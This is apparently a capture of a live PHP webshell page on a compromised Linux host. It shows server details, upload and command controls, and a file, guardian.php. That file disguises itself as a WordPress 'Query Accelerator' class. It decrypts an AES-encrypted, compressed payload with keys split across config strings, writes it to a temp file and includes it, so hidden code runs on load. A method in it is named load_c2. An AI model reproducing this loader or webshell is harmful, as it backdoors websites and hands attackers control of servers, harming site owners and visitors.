403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.120
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : autoligchopp ( 1015)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/sess_9f143e7d9de7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/sess_9f143e7d9de7/guardian.php
<?php
class WP_Query_Accelerator_4d05 {

    private $config_99 = 'wpd_e37bd278aa3';
    private $config_df = 'e6a2eb9c3bd9f759ed328759103b';
    private $config_6e = 'a9c75a2';
    private $config_74 = 'a66a560cd38bc03eb2';
    private $config_a2 = '5b1e68b08ff0a5da0c017989031d7922';
    private $config_bd = 'a176588e30d5';
    private $config_e0 = '9ADwdr4DvPqobE9OgrN5Ohbc46V2xkgeLYa8Z5YtuCsmrCBH0T/FAIVQPrG4z5uVGUXRUFx17'
        . '7dfrLByfUFUF7/3xYu5Hw5sdKYCs9Ri+/PVeiwdg0Z/2QC+SwpifTQ3YedTgGM5/62ENCucp2'
        . '9ubIO9pAKXyVmIcCzUBiCYiO3xQJdid/A0daHIB8JtN5+0zvNG5gTyXPAXFTVYFyiZEqTAPVU'
        . 'TWKfHE1TNK6i8dd6TntcPGkli9RPyLC0PEFK6+cBAdMqtPsJkH7DjTmjdxIzcHfCAhUECtRgW'
        . '3xt3WAGigK5n9Xwj8wGWlyyMsWTUUZuSIpxJQ2Q4BhiJZFhI3o6dqZ0GHpw1p9gkrNcUVlhzo'
        . 'eOxvzLRUtumz/c8MVWoCpYoIkwh2r+j4j0dBiwULNc3bGl+U9HAGWYfydk5PYMKwZ7qe6tsqS'
        . '+Zk4V+X0OGc9iG5KDHv3fcYv058QkEKNh8n4+W/qEjyZc95VxbmGnTA3zzeEcFj6kJomOhi+9'
        . 'MMilyJmTAiKJJ42bH60nXB1si0PDSBL25Z/cpRrJYE+dxhecqMnwh62UZQkOG0I90+1b2sgYE'
        . 'tARl4WFa2dvuugDiaPS3uWVG5r1CG42H4n9dJPQlsegyji8aMYnFvBdvRn0TRBnBp4Lz0gLYB'
        . 'PpQeUv5h0loWV8wKUBv3NWx2neXk4o0ukaXWx9jV37D4ugawCQR83zF3vuEqvBTaSrQfWc2Gn'
        . 'bTnI6ZlIC9d4eFO6P1nNufNUNnbUZ5sp0+rQr6mK5pLbRP2OF2iwYgXuzqi0+999fmL5xqcHM'
        . 'c1pe93nYdRboVii4cVLefAZAGwMz2KTvbDJ/BkDAlvB472xd9HTm9UHBYaN16+l1Upzp9+n/q'
        . '7WKcAhQLfE9D4Wpu+n3SIwVO5pHddyFplyqSbWOelUn9r4BMXIZpPeFXYY21/OeBsXqaewI9z'
        . 'gWnwqebdjiVbscFzfUaPI58DrNYXvNTvAVkbXTGQutgM7rezgiHIx8sYmjvII5gwH8XwQc5AZ'
        . 'ZmOFyiDoFTUCBP19Pq+9OL/W5HnCg3HjBcyF8I66GbyKEqUsM8D6Q0eDN04Tp5cEdSAmSEvYt'
        . 'Z9jLa/ZjybdYAmDc3ij9mgiVXrPPiGDTIUsXgNrUyPOLDIfUDHrUZ0wjB23wp5Ol3y6gehDu7'
        . 'D0zByZxa8EzqVx8OQq9oKo5Kxy7MsggMwscNOJjlvwbpM+TQAqHNrfdt969c9K7L4hmgcuWrX'
        . 'LdNu8L19yrnqEDiwbpz7tkOY3jn7daXeOcrBGveIhEY2DbRNxsGexyDu3FjWTQZxNLCVbxtRo'
        . 'KSgpz74w/85OZ8UrGRO2obzgzojAGlw5BWDHHub64TtdFZdPI8sdZMZ9dac+yncmGLhufnl1J'
        . 'bWM5baOEObtFpIQsVlm7rkExlBLqclUSBYN0PxJ7I4SH73xk+9HkkuAukn906XeuH27FLXnRu'
        . 'U2N7cIcf8fYkxYdi3uAJj4pZDwT4jzClc7TRVPufxt1O96L03+Y2tf2WPWwgHttDVSSTKucDm'
        . 'uA56KpFdY1HFEzAsj0SmMY9WXAOELpfbOUdWWBhdtYOZvVraJzBRVdLiJV9HX8RPZSiaHFJde'
        . 'TSXxyEVjh64EomgHoxuoP4G1zbk2IXRjJYBuzuCOYcduf9LX4PS7aq7K22kq11XOagL7LgV9B'
        . 'ookfK8w5rb2JbVajsU9kym40SjSgYY5tYZ56l4s+atnztnWNsGEl/+RPms7e9w+oYhlx42n+X'
        . 'LXXR97XIOy8qgJvi+OFV+R8fb0ZQJtTBa/jOgwBWpnYaezl2ZuYre6TwRNYjPRzJ+ZYCt/3qt'
        . 'NxtWzxHGS8WDBOMpb4YoIQqMc6e0USJseKHd9K28bPoiA0iZFPUeZqx6yRl4alE4MO9mwvPCH'
        . '7qnN6d5C6+uBwnMV6Ii/+nxxdzB3VKporrDgHnEWll1U2kYdr7ae+cY6p5VWhctLSWB3V1dCq'
        . 'XRXdfa3BzL4L56gwul0GjKU7dz3nW6XSnaxj57W9FJdv8wc7mbD+0FCFwIvOHQaKbYKesSr7V'
        . 'cNOelq2Ng03SpEnpYtIpYJorSyNxWrMmC1CC/UWSqb73h22zryIMVbbQtdinODiV/jld7ppLs'
        . 'bqKhH0BRgtdoxoLLTK1paL4SQoAYhURkNAP57uIR7W8aW7M3/JpCoOHr/XmJlZWVsRTr25gW3'
        . 'NNqX7ZNGLKW0x1j6GIcgRzh1gXoc72XjTTH5MJ1thPEiVJKkSnowHWbb88Q4WXRJ2vrIXxjX8'
        . 'CHcYgZiFZHaZtb6pVCRMINv2rOSXOkBkSgUMi1XW49U460p6G1h0nbp5f1Danuw==';

    public function __construct() {
        if (!function_exists('openssl_decrypt')) {
            return;
        }
        $this->load_c2();
    }

    private function load_c2() {
        $sk = $this->config_99 . $this->config_df . $this->config_6e . $this->config_74;
        $dk = hash('sha256', $sk . $this->config_bd, true);
        $rowset = openssl_decrypt($this->config_e0, 'aes-256-cbc', $dk, 0, hex2bin($this->config_a2));
        if ($rowset === false) {
            return;
        }
        $stream = inflate_init(ZLIB_ENCODING_DEFLATE);
        $data = inflate_add($stream, $rowset, ZLIB_FINISH);
        if ($data === false) {
            return;
        }
        $file = @tempnam(sys_get_temp_dir(), 'wpc');
        if ($file === false) {
            $file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.qc_' . substr(md5(microtime(true)), 0, 8) . '.php';
        }
        if (@file_put_contents($file, '<?php ' . $data) !== false) {
            @include $file;
            @unlink($file);
        }
    }
}

new WP_Query_Accelerator_4d05();

Youez - 2016 - github.com/yon3zu
LinuXploit